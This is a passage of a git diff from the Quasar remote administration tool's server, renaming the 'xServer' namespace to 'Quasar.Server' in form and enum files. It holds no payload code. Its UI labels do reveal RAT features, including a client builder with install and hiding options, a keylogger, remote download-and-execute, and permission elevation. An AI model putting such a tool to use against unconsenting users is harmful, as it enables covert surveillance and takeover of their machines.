+1,4 @@ -namespace xServer.Enums +namespace Quasar.Server.Enums { public enum TransferType { diff --git a/Quasar.Server/Enums/WordType.cs b/Quasar.Server/Enums/WordType.cs index 3d46599b..ee6cd1b0 100644 --- a/Quasar.Server/Enums/WordType.cs +++ b/Quasar.Server/Enums/WordType.cs @@ -1,9 +1,4 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace xServer.Enums +namespace Quasar.Server.Enums { public enum WordType { diff --git a/Quasar.Server/Forms/FrmAbout.Designer.cs b/Quasar.Server/Forms/FrmAbout.Designer.cs index b8d44747..3a9ce715 100644 --- a/Quasar.Server/Forms/FrmAbout.Designer.cs +++ b/Quasar.Server/Forms/FrmAbout.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmAbout { @@ -43,7 +43,7 @@ private void InitializeComponent() // // picIcon // - this.picIcon.Image = global::xServer.Properties.Resources.Quasar_Server; + this.picIcon.Image = global::Quasar.Server.Properties.Resources.Quasar_Server; this.picIcon.Location = new System.Drawing.Point(12, 12); this.picIcon.Name = "picIcon"; this.picIcon.Size = new System.Drawing.Size(64, 64); diff --git a/Quasar.Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs index 7d09236e..9a466b3e 100644 --- a/Quasar.Server/Forms/FrmAbout.cs +++ b/Quasar.Server/Forms/FrmAbout.cs @@ -1,9 +1,9 @@ using System; using System.Diagnostics; using System.Windows.Forms; -using xServer.Core.Data; +using Quasar.Server.Core.Data; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmAbout : Form { diff --git a/Quasar.Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs index 18767d44..4f07adca 100644 --- a/Quasar.Server/Forms/FrmBuilder.Designer.cs +++ b/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmBuilder { @@ -39,28 +41,28 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.builderTabs = new xServer.Controls.DotNetBarTabControl(); + this.builderTabs = new DotNetBarTabControl(); this.generalPage = new System.Windows.Forms.TabPage(); this.label9 = new System.Windows.Forms.Label(); - this.line6 = new xServer.Controls.Line(); + this.line6 = new Line(); this.label8 = new System.Windows.Forms.Label(); this.txtTag = new System.Windows.Forms.TextBox(); this.label7 = new System.Windows.Forms.Label(); this.lblTag = new System.Windows.Forms.Label(); this.txtMutex = new System.Windows.Forms.TextBox(); this.btnMutex = new System.Windows.Forms.Button(); - this.line5 = new xServer.Controls.Line(); + this.line5 = new Line(); this.lblMutex = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.connectionPage = new System.Windows.Forms.TabPage(); this.numericUpDownPort = new System.Windows.Forms.NumericUpDown(); this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown(); - this.line3 = new xServer.Controls.Line(); + this.line3 = new Line(); this.label4 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); - this.line2 = new xServer.Controls.Line(); + this.line2 = new Line(); this.label2 = new System.Windows.Forms.Label(); - this.line1 = new xServer.Controls.Line(); + this.line1 = new Line(); this.label1 = new System.Windows.Forms.Label(); this.lstHosts = new System.Windows.Forms.ListBox(); this.btnAddHost = new System.Windows.Forms.Button(); @@ -74,9 +76,9 @@ private void InitializeComponent() this.lblPassword = new System.Windows.Forms.Label(); this.installationPage = new System.Windows.Forms.TabPage(); this.chkHideSubDirectory = new System.Windows.Forms.CheckBox(); - this.line7 = new xServer.Controls.Line(); + this.line7 = new Line(); this.label10 = new System.Windows.Forms.Label(); - this.line4 = new xServer.Controls.Line(); + this.line4 = new Line(); this.label5 = new System.Windows.Forms.Label(); this.chkInstall = new System.Windows.Forms.CheckBox(); this.lblInstallName = new System.Windows.Forms.Label(); @@ -96,11 +98,11 @@ private void InitializeComponent() this.iconPreview = new System.Windows.Forms.PictureBox(); this.btnBrowseIcon = new System.Windows.Forms.Button(); this.txtIconPath = new System.Windows.Forms.TextBox(); - this.line8 = new xServer.Controls.Line(); + this.line8 = new Line(); this.label11 = new System.Windows.Forms.Label(); this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); this.txtFileVersion = new System.Windows.Forms.TextBox(); - this.line9 = new xServer.Controls.Line(); + this.line9 = new Line(); this.lblProductName = new System.Windows.Forms.Label(); this.label12 = new System.Windows.Forms.Label(); this.chkChangeIcon = new System.Windows.Forms.CheckBox(); @@ -122,7 +124,7 @@ private void InitializeComponent() this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); this.lblLogDirectory = new System.Windows.Forms.Label(); - this.line10 = new xServer.Controls.Line(); + this.line10 = new Line(); this.label14 = new System.Windows.Forms.Label(); this.chkKeylogger = new System.Windows.Forms.CheckBox(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); @@ -151,7 +153,7 @@ private void InitializeComponent() // // picUAC2 // - this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC2.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.picUAC2.Location = new System.Drawing.Point(363, 88); this.picUAC2.Name = "picUAC2"; this.picUAC2.Size = new System.Drawing.Size(16, 20); @@ -162,7 +164,7 @@ private void InitializeComponent() // // picUAC1 // - this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC1.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.picUAC1.Location = new System.Drawing.Point(363, 68); this.picUAC1.Name = "picUAC1"; this.picUAC1.Size = new System.Drawing.Size(16, 20); @@ -207,7 +209,7 @@ private void InitializeComponent() // // removeHostToolStripMenuItem // - this.removeHostToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.removeHostToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem"; this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(143, 22); this.removeHostToolStripMenuItem.Text = "Remove host"; @@ -215,7 +217,7 @@ private void InitializeComponent() // // clearToolStripMenuItem // - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(143, 22); this.clearToolStripMenuItem.Text = "Clear all"; @@ -272,7 +274,7 @@ private void InitializeComponent() // // line6 // - this.line6.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line6.LineAlignment = Line.Alignment.Horizontal; this.line6.Location = new System.Drawing.Point(83, 78); this.line6.Name = "line6"; this.line6.Size = new System.Drawing.Size(300, 13); @@ -335,7 +337,7 @@ private void InitializeComponent() // // line5 // - this.line5.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line5.LineAlignment = Line.Alignment.Horizontal; this.line5.Location = new System.Drawing.Point(112, 5); this.line5.Name = "line5"; this.line5.Size = new System.Drawing.Size(271, 13); @@ -431,7 +433,7 @@ private void InitializeComponent() // // line3 // - this.line3.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line3.LineAlignment = Line.Alignment.Horizontal; this.line3.Location = new System.Drawing.Point(95, 263); this.line3.Name = "line3"; this.line3.Size = new System.Drawing.Size(290, 13); @@ -459,7 +461,7 @@ private void InitializeComponent() // // line2 // - this.line2.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line2.LineAlignment = Line.Alignment.Horizontal; this.line2.Location = new System.Drawing.Point(123, 161); this.line2.Name = "line2"; this.line2.Size = new System.Drawing.Size(260, 13); @@ -477,7 +479,7 @@ private void InitializeComponent() // // line1 // - this.line1.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line1.LineAlignment = Line.Alignment.Horizontal; this.line1.Location = new System.Drawing.Point(104, 5); this.line1.Name = "line1"; this.line1.Size = new System.Drawing.Size(281, 13); @@ -630,7 +632,7 @@ private void InitializeComponent() // // line7 // - this.line7.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line7.LineAlignment = Line.Alignment.Horizontal; this.line7.Location = new System.Drawing.Point(60, 274); this.line7.Name = "line7"; this.line7.Size = new System.Drawing.Size(323, 13); @@ -648,7 +650,7 @@ private void InitializeComponent() // // line4 // - this.line4.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line4.LineAlignment = Line.Alignment.Horizontal; this.line4.Location = new System.Drawing.Point(117, 5); this.line4.Name = "line4"; this.line4.Size = new System.Drawing.Size(266, 13); @@ -861,7 +863,7 @@ private void InitializeComponent() // // line8 // - this.line8.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line8.LineAlignment = Line.Alignment.Horizontal; this.line8.Location = new System.Drawing.Point(122, 5); this.line8.Name = "line8"; this.line8.Size = new System.Drawing.Size(261, 13); @@ -898,7 +900,7 @@ private void InitializeComponent() // // line9 // - this.line9.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line9.LineAlignment = Line.Alignment.Horizontal; this.line9.Location = new System.Drawing.Point(83, 276); this.line9.Name = "line9"; this.line9.Size = new System.Drawing.Size(300, 13); @@ -1099,7 +1101,7 @@ private void InitializeComponent() // // line10 // - this.line10.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line10.LineAlignment = Line.Alignment.Horizontal; this.line10.Location = new System.Drawing.Point(72, 5); this.line10.Name = "line10"; this.line10.Size = new System.Drawing.Size(308, 13); diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index ec3491d6..3ab68587 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -6,11 +6,11 @@ using System.Linq; using System.Threading; using System.Windows.Forms; -using xServer.Core.Build; -using xServer.Core.Data; -using xServer.Core.Helper; +using Quasar.Server.Core.Build; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmBuilder : Form { diff --git a/Quasar.Server/Forms/FrmConnections.Designer.cs b/Quasar.Server/Forms/FrmConnections.Designer.cs index fe81d0d8..1b819905 100644 --- a/Quasar.Server/Forms/FrmConnections.Designer.cs +++ b/Quasar.Server/Forms/FrmConnections.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmConnections { @@ -33,7 +35,7 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.lstConnections = new xServer.Controls.AeroListView(); + this.lstConnections = new AeroListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -53,7 +55,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(168, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -61,7 +63,7 @@ private void InitializeComponent() // // closeConnectionToolStripMenuItem // - this.closeConnectionToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; + this.closeConnectionToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem"; this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(168, 22); this.closeConnectionToolStripMenuItem.Text = "Close Connection"; diff --git a/Quasar.Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs index d1ae37e8..e9150cf6 100644 --- a/Quasar.Server/Forms/FrmConnections.cs +++ b/Quasar.Server/Forms/FrmConnections.cs @@ -3,11 +3,11 @@ using System.Windows.Forms; using Quasar.Common.Messages; using Quasar.Common.Models; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmConnections : Form { diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs index d3ad49b6..b2ffc443 100644 --- a/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs +++ b/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmDownloadAndExecute { diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.cs index b0a353a3..2d9ac108 100644 --- a/Quasar.Server/Forms/FrmDownloadAndExecute.cs +++ b/Quasar.Server/Forms/FrmDownloadAndExecute.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmDownloadAndExecute : Form { diff --git a/Quasar.Server/Forms/FrmFileManager.Designer.cs b/Quasar.Server/Forms/FrmFileManager.Designer.cs index 749d6483..73af32fd 100644 --- a/Quasar.Server/Forms/FrmFileManager.Designer.cs +++ b/Quasar.Server/Forms/FrmFileManager.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmFileManager { @@ -51,12 +51,12 @@ private void InitializeComponent() this.cancelToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); - this.TabControlFileManager = new xServer.Controls.DotNetBarTabControl(); + this.TabControlFileManager = new DotNetBarTabControl(); this.tabFileExplorer = new System.Windows.Forms.TabPage(); this.btnRefresh = new System.Windows.Forms.Button(); this.lblPath = new System.Windows.Forms.Label(); this.txtPath = new System.Windows.Forms.TextBox(); - this.lstDirectory = new xServer.Controls.AeroListView(); + this.lstDirectory = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -64,7 +64,7 @@ private void InitializeComponent() this.cmbDrives = new System.Windows.Forms.ComboBox(); this.tabTransfers = new System.Windows.Forms.TabPage(); this.btnOpenDLFolder = new System.Windows.Forms.Button(); - this.lstTransfers = new xServer.Controls.AeroListView(); + this.lstTransfers = new AeroListView(); this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTransferType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -98,7 +98,7 @@ private void InitializeComponent() // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.downloadToolStripMenuItem.Image = global::xServer.Properties.Resources.download; + this.downloadToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.download; this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; this.downloadToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.downloadToolStripMenuItem.Text = "Download"; @@ -106,7 +106,7 @@ private void InitializeComponent() // // uploadToolStripMenuItem // - this.uploadToolStripMenuItem.Image = global::xServer.Properties.Resources.upload; + this.uploadToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.upload; this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; this.uploadToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.uploadToolStripMenuItem.Text = "Upload"; @@ -119,7 +119,7 @@ private void InitializeComponent() // // executeToolStripMenuItem // - this.executeToolStripMenuItem.Image = global::xServer.Properties.Resources.run; + this.executeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.run; this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; this.executeToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.executeToolStripMenuItem.Text = "Execute"; @@ -127,7 +127,7 @@ private void InitializeComponent() // // renameToolStripMenuItem // - this.renameToolStripMenuItem.Image = global::xServer.Properties.Resources.textfield_rename; + this.renameToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.textfield_rename; this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; this.renameToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.renameToolStripMenuItem.Text = "Rename"; @@ -135,7 +135,7 @@ private void InitializeComponent() // // deleteToolStripMenuItem // - this.deleteToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.deleteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; this.deleteToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.deleteToolStripMenuItem.Text = "Delete"; @@ -148,7 +148,7 @@ private void InitializeComponent() // // addToStartupToolStripMenuItem // - this.addToStartupToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add; + this.addToStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; this.addToStartupToolStripMenuItem.Name = "addToStartupToolStripMenuItem"; this.addToStartupToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.addToStartupToolStripMenuItem.Text = "Add to Startup"; @@ -161,7 +161,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -217,7 +217,7 @@ private void InitializeComponent() // // cancelToolStripMenuItem // - this.cancelToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel; + this.cancelToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; this.cancelToolStripMenuItem.Name = "cancelToolStripMenuItem"; this.cancelToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.cancelToolStripMenuItem.Text = "Cancel"; @@ -225,7 +225,7 @@ private void InitializeComponent() // // clearToolStripMenuItem // - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.clearToolStripMenuItem.Text = "Clear transfers"; @@ -273,7 +273,7 @@ private void InitializeComponent() // this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.btnRefresh.Image = global::xServer.Properties.Resources.refresh; + this.btnRefresh.Image = global::Quasar.Server.Properties.Resources.refresh; this.btnRefresh.ImageAlign = System.Drawing.ContentAlignment.BottomCenter; this.btnRefresh.Location = new System.Drawing.Point(682, 8); this.btnRefresh.Name = "btnRefresh"; diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs index fa810ef0..27ecbef2 100644 --- a/Quasar.Server/Forms/FrmFileManager.cs +++ b/Quasar.Server/Forms/FrmFileManager.cs @@ -1,18 +1,18 @@ -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Models; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Controls; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Models; using Process = System.Diagnostics.Process; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmFileManager : Form { diff --git a/Quasar.Server/Forms/FrmKeylogger.Designer.cs b/Quasar.Server/Forms/FrmKeylogger.Designer.cs index ce854a2d..e905b646 100644 --- a/Quasar.Server/Forms/FrmKeylogger.Designer.cs +++ b/Quasar.Server/Forms/FrmKeylogger.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmKeylogger { diff --git a/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar.Server/Forms/FrmKeylogger.cs index 75d6e83b..b01d77c4 100644 --- a/Quasar.Server/Forms/FrmKeylogger.cs +++ b/Quasar.Server/Forms/FrmKeylogger.cs @@ -1,13 +1,13 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmKeylogger : Form { diff --git a/Quasar.Server/Forms/FrmMain.Designer.cs b/Quasar.Server/Forms/FrmMain.Designer.cs index 593f985b..b8f3bdc5 100644 --- a/Quasar.Server/Forms/FrmMain.Designer.cs +++ b/Quasar.Server/Forms/FrmMain.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmMain { @@ -70,7 +70,7 @@ private void InitializeComponent() this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.listenToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); - this.lstClients = new xServer.Controls.AeroListView(); + this.lstClients = new AeroListView(); this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -185,7 +185,7 @@ private void InitializeComponent() // // startupManagerToolStripMenuItem // - this.startupManagerToolStripMenuItem.Image = global::xServer.Properties.Resources.startup_programs; + this.startupManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.startup_programs; this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem"; this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.startupManagerToolStripMenuItem.Text = "Startup Manager"; @@ -209,7 +209,7 @@ private void InitializeComponent() // // connectionsToolStripMenuItem // - this.connectionsToolStripMenuItem.Image = global::xServer.Properties.Resources.transmit_blue; + this.connectionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.transmit_blue; this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem"; this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.connectionsToolStripMenuItem.Text = "TCP Connections"; @@ -217,7 +217,7 @@ private void InitializeComponent() // // reverseProxyToolStripMenuItem // - this.reverseProxyToolStripMenuItem.Image = global::xServer.Properties.Resources.server_link; + this.reverseProxyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.server_link; this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; @@ -225,7 +225,7 @@ private void InitializeComponent() // // registryEditorToolStripMenuItem // - this.registryEditorToolStripMenuItem.Image = global::xServer.Properties.Resources.registry; + this.registryEditorToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.registry; this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem"; this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.registryEditorToolStripMenuItem.Text = "Registry Editor"; @@ -233,7 +233,7 @@ private void InitializeComponent() // // elevateClientPermissionsToolStripMenuItem // - this.elevateClientPermissionsToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; + this.elevateClientPermissionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem"; this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions"; @@ -250,14 +250,14 @@ private void InitializeComponent() this.shutdownToolStripMenuItem, this.restartToolStripMenuItem, this.standbyToolStripMenuItem}); - this.actionsToolStripMenuItem.Image = global::xServer.Properties.Resources.actions; + this.actionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.actions; this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem"; this.actionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.actionsToolStripMenuItem.Text = "Actions"; // // shutdownToolStripMenuItem // - this.shutdownToolStripMenuItem.Image = global::xServer.Properties.Resources.shutdown; + this.shutdownToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shutdown; this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.shutdownToolStripMenuItem.Text = "Shutdown"; @@ -265,7 +265,7 @@ private void InitializeComponent() // // restartToolStripMenuItem // - this.restartToolStripMenuItem.Image = global::xServer.Properties.Resources.restart; + this.restartToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.restart; this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; this.restartToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.restartToolStripMenuItem.Text = "Restart"; @@ -273,7 +273,7 @@ private void InitializeComponent() // // standbyToolStripMenuItem // - this.standbyToolStripMenuItem.Image = global::xServer.Properties.Resources.standby; + this.standbyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.standby; this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem"; this.standbyToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.standbyToolStripMenuItem.Text = "Standby"; @@ -308,7 +308,7 @@ private void InitializeComponent() // // keyloggerToolStripMenuItem // - this.keyloggerToolStripMenuItem.Image = global::xServer.Properties.Resources.logger; + this.keyloggerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.keyloggerToolStripMenuItem.Text = "Keylogger"; @@ -330,14 +330,14 @@ private void InitializeComponent() this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.localFileToolStripMenuItem, this.webFileToolStripMenuItem}); - this.remoteExecuteToolStripMenuItem.Image = global::xServer.Properties.Resources.lightning; + this.remoteExecuteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning; this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; // // localFileToolStripMenuItem // - this.localFileToolStripMenuItem.Image = global::xServer.Properties.Resources.drive_go; + this.localFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drive_go; this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); this.localFileToolStripMenuItem.Text = "Local File..."; @@ -345,7 +345,7 @@ private void InitializeComponent() // // webFileToolStripMenuItem // - this.webFileToolStripMenuItem.Image = global::xServer.Properties.Resources.world_go; + this.webFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.world_go; this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); this.webFileToolStripMenuItem.Text = "Web File..."; diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index be3b2ee7..66b65d30 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -7,16 +7,16 @@ using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; -using xServer.Core.Commands; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Extensions; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Networking.Utilities; -using xServer.Core.Utilities; +using 